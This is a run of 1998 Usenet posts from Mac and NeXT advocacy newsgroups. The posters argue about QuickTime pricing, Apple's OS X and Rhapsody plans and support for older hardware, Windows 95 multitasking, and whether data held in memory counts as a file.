References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com>
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<snip>
> Jeez, if by next year the best they can do is release a consumer portable
> with *only* a 9" screen, they deserve what they can get.
2 words "Toshiba Libreto"
Apple is suposidly making g3 powered, MacOS based successor to the
E-mate with a small color screen and handwriting recognition.
From: Landivar2 <landivar2@geocities.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Quicktime, Microsoft, Rhaptel
Date: Wed, 29 Jul 1998 18:53:48 -0500
Organization: TCA Networks, College Station Texas 409.693.8885
Message-ID: <35BFB60C.56F4@geocities.com>
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nate wrote:
<snip>
> It does't need to break in an upcoming release. It already costs too
> much and lends ZERO benefit.
You really think so.
QT 3 is free.
QT 3 Pro costs $20
QT 3 licence costs $1 unless you play the "QT upgrade to pro" movie during
startup
QT 3 Pro licence costs $2
With the addition of sprites in QT, I've played an entire game of mine
sweeper (accually "Fire Walker") over the internet using QT.
No Java, no JavaScript, no Shockwave, no cgi's, no ActiveX, no downloading
binaries.
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Wed, 29 Jul 1998 18:15:32 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2907981815320001@pm3a7.rmac.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <MPG.1024148b9fd31ab8989a01@news.supernews.com> <6phc10$ibo$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 30 Jul 1998 00:13:22 GMT
In article <6phc10$ibo$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <MPG.1024148b9fd31ab8989a01@news.supernews.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
>
> > Because, in real life use, the effect on the user's ability to get his
> > work done, is about as good for both MacOS and Win95. If there's a
> > difference, the Win95 will probably be on top (I only say probably so I
> > can weasel out if someone finds an exception). But, when those
> > differences are perceivable to the user, the perceptible difference will
> > be far less than the perceptible difference in quality of the UI and
> > other design aspects.
>
> But we where talking about multitasking. Myself, I find the total Windows 95
> experience to be as good as the Mac OS experience but I can easily see how
> someone might disagree.
He was talking about multitasking as well. However, he stated that even
though Windows 95's PMT might be better under certain circumstances, those
circumstance don't arise often enough, or are not sufficient enough to
warrant putting up with Windows 95's other faults.
And if your Windows 95's experience is as good as the Macs experience,
then why are you debating this?
Josh
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 29 Jul 1998 19:40:31 -0500
Organization: Prairie Group
Message-ID: <MPG.10297cfc5259ba1989a41@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <35b26dbb.0@news.depaul.edu> <6ou5gk$kfk$1@nnrp1.dejanews.com> <MPG.101cfec0f9313ac39899cc@news.supernews.com> <FIiROLCWddLd-pn2-gdKdv5NP2C9f@localhost> <35BE0BBE.AE74C1E3@earthlink.net> <joe.ragosta-2907980904140001@wil64.dol.net>
> In article <35BE0BBE.AE74C1E3@earthlink.net>, jontemple@earthlink.net wrote:
>
> > I, too, would like to know what motivates Apple Apologist like Don Brown, for whom
> > Apple-Can-Do-No-Wrong(tm). He doesn't sound like a customer, who would logically
> > expect better support, not less. He sounds more like an Apple employee or someone
> > who stands to lose if Apple does the right thing by its customers. My motivation is
> > obvious: I want Apple to support my machine. His motivation is opaque and runs
> > completely counter to commonsense. This "Apple is going to die if it doesn't make a
> > quick buck off of new G3s" or "Apple is going to die if it has to support Macs sold
> > more than 2 months ago" slogans look pretty pathetic given Apple's recent $101
> > million dollar profit. Apple CAN and SHOULD do the right thing by their customers.
OK. I wish you'd asked me directly.
I'm an Apple Developer, I've been writing programs for the Mac since 1983
(and writing Apple /// and Apple ][ software before that). I was
definitely one of the "bleeds in six colors" crowd.
I was, that is, until about a year ago or so. I saw technology after
technology being killed out of the blue. Not just killed, but killed
giving us developers no warning and in fact pushing the technology until
it was killed. I could explain the individual choices, but they were
adding up to something unreasonable.
The final straw was when Apple killed CHRP. Yes, Joe, Apple killed CHRP.
The arguements for CHRP wasn't as solid as it had been when others backed
out, but it was always pushed as the easy way to make clones that would
run the MacOS, Apple had pushed that over two WWDCs and god knows how
much other developer info, and suddenly it was gone.
I gave up on Apple at that point. I didn't think they could survive with
what they were doing. I switched my personal computer over to a Win95
machine, and started learning Win32 programming. I was still programming
Mac software as well, I was needed on that platform, but I was doing as
much as I could to switch.
But, I kept my fingers in the Apple world, maintained my contacts. And
things started looking better.
Finally, when OS X was announced, I finally saw a strategy I thought
could work. The more I heard, the more confidence I had in it, but also
the more I saw how big it was.
So, I have come to the following conclusions and observations:
* OS X gives Apple a future
* Delivering OS X will stretch Apple to the breaking point.
* Supporting the other boards is NOT free, but instead will require some
programming and much testing, and Apple doesn't know how much that will
be yet.
* The issues about cutting off old systems, the plusses and minuses,
have been under heavy discussion at Apple.
That, and my experience with public corporations, says that Apple cannot
afford any quarters where they lose money, for several years. It sucks,
but it's reality.
If I was not sure that there were costs involved in the older machines,
if it was just trying to force people to upgrade, I'd be joining you on
the rooftops to shout about how wrong it was. If the older machines
could be supported without risking the whole thing, yes, that's what
Apple should do.
But, with Apple still tettering on the edge, doing the right thing by its
customers means moving the system forward without going out of business.
That's what I believe, and that's what I've been saying. I do my best to
say what I believe. What I believe, of course, will be be filtered
through my experiences and my biases, as with everyone. But, I try to be
open with them too.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Wed, 29 Jul 1998 19:42:52 -0500
Organization: Prairie Group
Message-ID: <MPG.10297d85ef7f7203989a42@news.supernews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BCA708.7440433@intel.com> <joe.ragosta-2707981311490001@wil76.dol.net> <6pk34k$9gu$1@nntp2.ba.best.com> <joe.ragosta-2807980907490001@wil43.dol.net> <MPG.10284cf7951f302b989a3d@news.supernews.com> <macghod-2807982109380001@sdn-ar-001casbarp309.dialsprint.net>
In article <macghod-2807982109380001@sdn-ar-
001casbarp309.dialsprint.net>, macghod@concentric.net says...
> In article <MPG.10284cf7951f302b989a3d@news.supernews.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
>
> > Windows doesn't have this sort of easy switching between configurations
> > without a third party utility. But, it does let you use TCP
> > simultaneously with dial-up and local network. The feature is called
> > "multi-homing", I believe.
>
> IIRC, Apple has stated that ot 2.0 will have this ability
>
They also stated that 1.5 would have that ability, to ship a little over
a year ago.
I'll look forward to seeing it, if it happens.
Donald
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 29 Jul 1998 18:37:27 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2907981837280001@pm3a7.rmac.net>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz> <not-2407981312520001@ip-26-162.phx.primenet.com> <mcox-ya02408000R2507981113400001@newsource.ihug.co.nz> <35b9372a.0@news.depaul.edu> <mcox-ya02408000R2507981604510001@newsource.ihug.co.nz> <tbrown-2507981513060001@mv202.axom.com> <slrn6rtgmc.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
NNTP-Posting-Date: 30 Jul 1998 00:35:17 GMT
In article <slrn6rtgmc.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
> Maybe it would be easy to support some earlier machines.
> Maybe not. Kernel development is not easy, and requires luck,
> experience and insight. Extra bodies thrown at the task do not
> accomplish squat. Ask IBM.
If this statement is to be held true, then the counter arguement, that
Apple doesn't have the manpower to test OS X on the unsupported systems,
must be false.
Josh
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 29 Jul 1998 17:02:55 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2907981702550001@news>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6picpl$6pd@newsb.netnews.att.com> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu> <6pjer0$941@newsb.netnews.att.com> <Pine.SOL.3.96.980728103229.17041F-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2807981531280001@news> <Pine.SOL.3.96.980728230635.5319C-100000@ux9.cso.uiuc.edu>
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In article <Pine.SOL.3.96.980728230635.5319C-100000@ux9.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Tue, 28 Jul 1998, Andy Bates wrote:
>
> > The Mac does have something better; in 8.5, the Application menu can be
> > torn off, so you have one button per application, instead of one per
> > window. That looks good to me.
>
> Mac OS 8.5 does not exist yet. I ask you to withdraw your comment.
Mac OS 8.5 does exist. However, it has not been released to the general
public as of yet. My comment stands.
> Furthermore, I _never_ said that the mac should have a taskbar that
> behaves _exactly_ like Windows'. If you had actually read my posts you
> would have seen that I said that the buttons on a Mac taskbar would
> represent applications. I know bloody well what they represent in Windows
> and that is why I have said the Windows taskbar is not perfect.
>
> You are misconstruing my position in an attempt to discredit me and my
> position.
"...in an attempt to discredit me and my position." Relax. You brought up
the point about the buttons representing applications AFTER I stated the
problem if they represented Windows. You were unclear in your original
proposal; my criticisms allowed you to clarify your position. That's all.
Andy Bates.
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 29 Jul 1998 18:44:45 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2907981844450001@pm3a7.rmac.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p0pif$bnq$1@nnrp1.dejanews.com> <6p2a6v$d0g$1@nntp6.u.washington.edu> <6p2uf0$a3m$1@nnrp1.dejanews.com> <6p30ts$r04$1@nntp6.u.washington.edu> <mazulauf-2407981051100001@grumpy.met.utah.edu> <MPG.10239d85c7aea4289899f7@news.supernews.com> <FIiROLCWddLd-pn2-COjHod3ePqsx@localhost> <MPG.102541016fb0e3c3989a15@news.supernews.com>
NNTP-Posting-Date: 30 Jul 1998 00:42:35 GMT
In article <MPG.102541016fb0e3c3989a15@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <FIiROLCWddLd-pn2-COjHod3ePqsx@localhost>, pit@iohk.SPAM-
> NOT.com says...
> > Since Apple considers it perfectly O-K to change their goal posts as
> > they go along I'm not so certain that buying Apple-branded G3 systems
> > due to the "fact" that they "will" run Mac OS X is a good reason to
> > "choose the G3". As Apple and their ardent followers can tell, buy a
> > new Apple box only if you need more speed to run Mac OS 8 because
> > there's no telling whether the "smaller and more focused" Apple will
> > eventually be able to support the since-late-'97 G3's with Mac OS X at
> > all. We should all be happy and satisfied even if Mac OS X never
> > shipped.
>
> The only goal post changed was when Copland tanked. Apple promised
> Rhapsody, Apple is going to ship Rhapsody, and Rhapsody will have the
> same scope as they promised. It's going to flop like I predicted back
> when it was first announced, and Apple has realized thist before it ships
> in a rare bit of foresight, but Apple will still do what it says its
> going to do. Apple has also announced something even better.
Who cares what scope Rhapsody will have if it is a dead end OS?
His point is very well made...Apple keeps changing the goal posts. What
is to say that in a year from now, Apple doesn't announce OS X dead and OS
XII the "next generation OS"? And that OS XII will not run on anything
but G4. Sure, you can still run OS X on your G3 Mac, as promised. But
that's about the only thing you'll be running on it as no one will develop
applications for it.
I'm in complete agreement with him...if you want to run Apple's latest and
greatest OS when it finally ships, then wait until that OS is shipping
before doing so. Apple has moved the goal posts twice (not once, like you
have claimed) and many a Mac owner has been left behind.
Josh
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 29 Jul 1998 16:58:20 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2907981658200001@news>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <andyba-ya02408000R2707981255140001@news> <6pk8l2$fd2$1@bartlet.df.lth.se> <andyba-ya02408000R2807981200340001@news> <6plk25$jp6$1@bartlet.df.lth.se>
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In article <6plk25$jp6$1@bartlet.df.lth.se>, cb@bartlet.df.lth.se
(Christian Brunschen) wrote:
> If I write a letter that is never intended to go anywhere but be sent to a
> printer, it need never be a file at all.
It's a file as soon as you select "New" from the File menu.
> The data in memory might be stored as something that has no remote
> resemblance to a file: it might be a linked list, a tree, whatever; need
> not be a file.
Who says that a linked list can't be a file? Who says that a tree can't be
a file? They all have a marked beginning, and a set way to traverse the
data, and a set end. They are all files.
> >The data IS collected and stored in a well-defined place. In some cases,
> >that place is an area of memory. It is possible to create a file, edit it,
> >and print it, without it ever being saved to disk. However, it is still a
> >file!
>
> No it's not - I write a letter, which I may or may not store in a file.
You can choose whether or not to store it in a file on the disk; however,
as soon as you start the letter ("Untitled"), the program starts a file in
memory.
> The letter itself is _not_ a file, the file is a _container_ for the
> letter where I may choose to place it.
A file is a collection of data, plain and simple. The letter in memory is a
file. Now, when you save it to disk it may have additional data to make it
accessible to the filesystem on the disk, but it is still a file when it is
in memory. It just happens to be a file that is only accessible to the
program that created it.
> The fact that I can store the
> letter in a file does not make the letter a file, nor does it make every
> possible place that I could store the letter a file.
I'm sorry, but you're wrong. Just because it's a file when it's on a disk
doesn't mean that it's NOT a file if it's NOT on a disk.
> >Or for that matter, what would you call the items that you save to a RAM
> >disk? They aren't stored on a disk filesystem; does that mean that they
> >aren't files?
>
> I gave an example in my post, where I explicitly said that a ramdisk is a
> good place for files - after all, a ramdisk has a _file system_, doesn't
> it ?
Why are you hung up on this "file system" concept? A file can exist outside
of a file system! Or, if you prefer, each program has its own file system
which it uses to keep track of its current files in memory.
> >Yes, it was a file. Saying that "it was a bunch of text" doesn't change
> >that fact. You called it "a bunch of text." "A bunch." A "bunch" is another
> >word for a collection, and text is just data. Therefore, "a bunch of text"
> >is just a collection of data, which is, surprise!, a file. You can get out
> >a thesaurus and call it "an amalgalm of glyphs," but it's still a file.
>
> Just because a file is a collection of data, does not make every
> collection of data a file. It's a one-way relationship - an implication,
> not an equivalence.
A file is a collection of data with distinct boundaries and a distinct
structure. A collection of data with distinct boundaries and a distinct
structure is a file. They are equivalent. A word-processing document saved
to disk is a file. A word-processing document stored in memory is a file.
> If I place a bunch of data together, I have just that - a bunch of data.
> If I put that data in a file, I have a file... which contains a bunch of
> data.
If you put a bunch of data together in a distinct structure with distinct
boundaries, then it is a file.
> >No, saving it doesn't "turn it into" a file; it is ALREADY a file.
>
> No - by saving a bunch of data in a specific way, you define it to be in a
> file. This is what distinguishes any collection of data, from a file.
No, the area (whether it is in memory or on disk) where the program (or
file system) stores the data is what distinguishes any collection of data
from a file.
> Exactly - they speak about 'documents', 'reports', etc - they talk about
> the contents of the files, because that is what is important to them. They
> take a file's contents out of the file (and into memory) to edit it,
No, they don't take it out of the file; it still exists on the hard disk. A
copy of that data (with a distinct structure and boundaries -- a file) is
stored in memory.
> then
> store it back to a file when they are done.
After the file in memory has been modified, it is written back to the disk,
and given a specific label to distinguish it from all of the other files on
the filesystem.
> The file is a container for
> data - the data is the data.
That's correct. And that container can exist on a hard disk, or in memory.
Why do you think that the container in memory is any less of a "file"?
> >By your logic, an airplane is only an airplane while it's in the air. If it
> >lands, it's a car. If it lands in the ocean, it's a submarine.
>
> You misunderstand - the airplane is an airplane when it is put together as
> a functional airplane.
How do you know if it's functional if it's on the ground? You can really
only know that it's functional if it's in the air. Therefore, by your
logic, it is not an airplane while it's on the ground.
And how is a file in memory less "functional" than a file on disk? What can
you do with a file on disk that you can't do with a file in memory?
> >The program that operates on that data has to have some way of
> >distinguishing that data from the rest of the data floating around memory.
> >That organization of data that it maintains is called a file.
>
> Not really - that organization may be called a list, an array, a tree, a
> hash table .... you actually only very rarely use the same representation
> in memory as you might use in a file.
I never said that you had to use the same representation in memory as you
do on the disk! But if you traverse both the disk file and the file in
memory from the beginning, and stop as the end, you will get the exact same
output.
> Furthermore, it does not claim that
> the contents of memory is a file - but rather that you store a
> representation of the data in memory, in a file.
First of all, who or what is "it"? And yes, a representation of the data is
stored in memory, in a file. Isn't that what I've been saying all along?
> Note: "a representation"
> - still a different thing; the data in the file and the data in memory are
> most often distinctly _different_.
Yes, the file in memory and the file on the disk can be organized
differently. No one ever said that one file has to have the exact same
organizational structure as another.
> Saving data to a file usually does
> things with the data, preparing it for storage in a file; the organization
> of data in memory and in a file differ greatly.
Yes, the program prepares the file in memory for storage to a file on the
disk; we are in perfect agreement here. However, and again, just because
they are organized differently doesn't make one a file and the other not a
file.
> >A file in memory has some sort of delimitation which marks where it begins,
> >where it ends, and which order it goes in. A random collection of data does
> >not have these distinguishing characteristics, and is therefore not a file.
> >However, and collection of data that a program will be working with in
> >memory DOES have these delimiters, and is therefore a file.
>
> Most collections of data in memory have multiple markers of beginning,
> ending, and whatnot - and they usually differ greatly from similar
> markings used for files.
So? They are different, but they still exist. A word processing file (or
any other type of file) will have a distinct structure and distinct
boundaries.
> A file has _one_ beginning and _one_ ending.
Right. Distinct boundaries. And a distinct structure. Just like a word
processing document in memory. A file.
> When
> you load the file into your word processor, the word processor interprets
> the contents of the file and builds a _structure_ of data in memory - a
> structure that is usually totally different than what is in the file.
The structure of the file in memory may be totally different from the
structure of the file on disk, yes.
You are hung up on calling the file on disk, "the file," when in fact it is
"the disk file."
> When
> you then save the text to another file (or the same one), the contents of
> memory are written to the file. Still, the contents of memory while you
> are editing the text are _not_ a file.
Yes, they are. A file can exist outside of a file system. By your logic, a
car is only a car while it's in a garage.
> >When you write a letter that is stored in memory, what happens when you
> >print it out? Does it print out the complete contents of the computer's
> >entire memory? No, it just prints out the collection of data that you
> >entered in. The computer knows where that collection starts, where it
> >stops, what it contains, and what order it goes in. It is a file. A file
> >system is a structure for storing files (specific delimited collections of
> >data) onto a storage medium. That doesn't mean that a file can not exist
> >outside of the file system. By that logic, an orange peel isn't garbage
> >until you put it in a garbage can.
>
> But that is indeed true - an orange peel may be a lot of things besides
> garbage. It could be the centre piece of the stilleben scene I am making a
> painting of. It could be that I want to shred & boil the orange peel to
> make jam out of it.
All correct.
> An orange peel isn't garbage until I decide that it is garbage, and treat
> it like garbage.
Wrong. It is garbage AS SOON AS YOU DECIDE that it is garbage! It does NOT
become garbage only when you put it in the garbage can!
> Likewise, data isn't a file until I begin to treat it
> like a file.
And see, your analogy breaks down. "Treating it like a file" entails more
than just saving it to disk. It involves having a distinct structure and
order. The program treats the collection like a file, and therefore it is a
file.
> And data in memory in use by an application is rarely treated
> as a file, and thus is not a file.
Wrong. It is treated like a file by the program. It is stored (in whatever
form) as a collection of data.
> >No, not every combination
> >of text in memory is a file. But then again, not every combination of data
> >on a hard disk is a file either. Certain markings distinguish one file from
> >another on a hard disk; similar markings distinguish one file from another
> >in memory. Why is that so hard to comprehend?
>
> Because it is a false claim.
>
> Why is it so hard for you to comprehend that what is inside most
> applications while they run is not a file, but data in another form?
What other form? Why do you think that certain "forms" can't be files?
> Your extract from Webster's does not claim that every ordered collection
> of data is a file, does it? That is the misinterpretation you make, I
> think. Again, the fact that a file is an ordered collection of data does
> not make every ordered collection of data a file - just like the fact that
> every whale is a mammal does not make all mammals whales.
Every collection of data with a distinct structure and distinct boundaries
is a file. They are equivalent.
> Another example: Fractint is a popular program that lets you draw fractal
> images. You select a fractal formula to use, you select the parameters to
> give, you select resolution and color map (how the results of the
> calculation should be turned into an image), and then you let the program
> work; it calculates an image and presents it to you on screen.
>
> Now, in what way is this image a file ? It most certainly is not in any
> file format you'll ever have come across; it is, in fact, stored in memory
> in a fashion that is quite distinct from how images are stored in files.
The bitmap representation of the fractal equation is stored in memory. The
program knows which pixel is the first one, which is the last one, and what
order they go in. Furthermore, I'll wager that you can save that file as a
TIFF file, a GIF file, or whatever graphics format you choose. It is a
file.
> Now Fractint offers an option to save an image to a file, and one to load
> an image from a file. However, each of those operations transform between
> a file (in the file system) and an image (in application memory). The two
> - the image and the file - have a well-defined relationship, but are not
> identical, they are not the same thing.
They don't have to have the same format, but they ARE both files. I never
said that a file in memory and a file on disk have to have the same format.
However, there is a distinct one-to-one relationship between a given disk
file and a given file in memory. Two files that share that relationship are
the same file.
> The data that the program works with _is not_ a file - but a file can be
> generated from it.
>
> Why is _this_ so difficult for _you_ to understand ?
I understand that you are wrong.
Andy Bates.
From: "Jay Riley" <datamagik@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to
obscurity?)
Date: 29 Jul 98 18:54:18 -0600
Organization: University of Colorado at Boulder
Message-ID: <B1E5205F-5667D@128.138.177.229>
References: <35bfb655.0@news.depaul.edu>
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nntp://news.colorado.edu/comp.sys.next.advocacy,
nntp://news.colorado.edu/comp.sys.be.advocacy
On Wed, Jul 29, 1998 5:55 PM, Jonathan W Hendry
<mailto:jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Jay Riley <jay.riley@usa.net> wrote:
> > quinlan@my-dejanews.com :
>
> > > In article <B1E0AE57-1BF4E@128.138.177.230>,
> > > "Jay Riley" <datamagik@usa.net> wrote:
> > >
> > > > The objects can be
> > > > implemented identically at the machine level.
> > >
> > > No they cannot be. C++ does not allow you to bind objects to methods
at
> > > runtime.
>
> > I beg to differ. That is implementation specific. Where in the language
> > definition in 1st or 2nd edition C++ (Stroustrup's book) do you see a
run
> > time architecture defined?
>
> So in other words, C++ does not allow you to bind objects to methods
> at runtime.
>
Where does that exist in the language definition for C++?!? What you are
describing is an _implementation-specific_ feature created by a _specific_
impementation of C++, NOT an inherent feature of the language!
Regards,
Jay
^ DATAMAGIK PO Box 6083 Boulder CO 80306
^ Systems, Software, and Design Engineering
^ 01+ (303)447-6555 datamagik@usa.net
From: "Jay Riley" <datamagik@usa.net>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my
great old NeXT apps work on Rhapsody/ OS X?
Date: 29 Jul 98 18:50:38 -0600
Organization: University of Colorado at Boulder
Message-ID: <B1E51F84-53309@128.138.177.229>
References: <35BE8245.381E@launchnet.com>
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nntp://news.colorado.edu/comp.sys.next.advocacy,
nntp://news.colorado.edu/comp.sys.mac.advocacy
On Tue, Jul 28, 1998 7:55 PM, Terry Haggin <mailto:terry@launchnet.com>
wrote:
> I have a ton on great old NeXT apps on my Cube and would like to know if
> I can run them on Rhapsody or OS X?
The NeXT cube used a 68000 series chip. It is my understanding you could
recompile those apps for the PowerPC based Rhapsody pretty easily (just as
apps had to be recompiled to make them run on the Intel based version of
NeXTSTEP.
I guess it will be up to the programmers/software houses that created the
programs you love, to come out with a new version!
> Those NeXT apps were the best I have ever used and it is hard to rum the
> on my super but sooooo so old cube. And does anyone have a copy of the
> Developers Rhapsody that they would like to sell/give to me?
It is my understanding that Apple seeds it to some members of their
Developer Program. You could either join that program or wait a month or so
for the "Consumer Release".
> I would love to see it work on my Pewforma 6400.
>
I'm sure their first priority will be supportin the newest machines, but
they may well add support for earlier machines by final release next year.
Regards,
Jay
^ DATAMAGIK PO Box 6083 Boulder CO 80306
^ Systems, Software, and Design Engineering
^ 01+ (303)447-6555 datamagik@usa.net
Date: Wed, 29 Jul 1998 21:11:49 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2907982111520001@elk76.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu> <joe.ragosta-2007982108170001@elk57.dol.net> <35BF1822.3E94CE81@earthlink.net>
In article <35BF1822.3E94CE81@earthlink.net>, jontemple@earthlink.net wrote:
> Joe Ragosta wrote:
>
> > > In article <not-2007981004090001@ip-26-136.phx.primenet.com>,
> > > eilersm@psn.net wrote:
> > >
> > >
> > > > Yes, but see above--Apple doesn't care a rats ass for a mac over 4 years
> > > > old--they don't even get tech support. Try to call Apple right now
and ask
> > > > them for help with your IIsi.
> >
> > The IIsi was discontinued in 1991 and is comparable to a 386. What major
> > OS is supported by the vendor on a 386?
>
> Windows 95
>
> Slip in a $100 Pentium-compatible and it'll actually run fast enough to use.
>
> You've already been told this, Joe by others. Stop being so disingenuous.
Wrong. Win95 is _not_ supported by the vendor on a 386.
And as soon as you replace the CPU, you're not using a 386 again.
Please try to stick to facts.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 30 Jul 1998 01:49:52 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pojg0$mil@newsb.netnews.att.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <35BE0268.1B22EC9D@earthlink.net> <joe.ragosta-2907980850290001@wil64.dol.net> <FIiROLCWddLd-pn2-968n2H0vJgLO@localhost>
Originator: gupta@tlctest
taiQ <pit@iohk.SPAM-NOT.com> wrote:
>> It's not the same thing.
>
>And NT 4 is not the same as NT 5. Now, isn't the Son of Rhap based on
And NT 5.0 is how late ?
***
It is far better for Apple to tell you now that something will not
be supported, than to make the promise and to have to renege later.
-arun gupta
From: "Alex Molochnikov" <alex@gestalt.com>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
Date: Wed, 29 Jul 1998 19:46:45 -0600
Organization: Canada Connect Corp.
Message-ID: <6poj8n$7bm$1@cleavage.canuck.com>
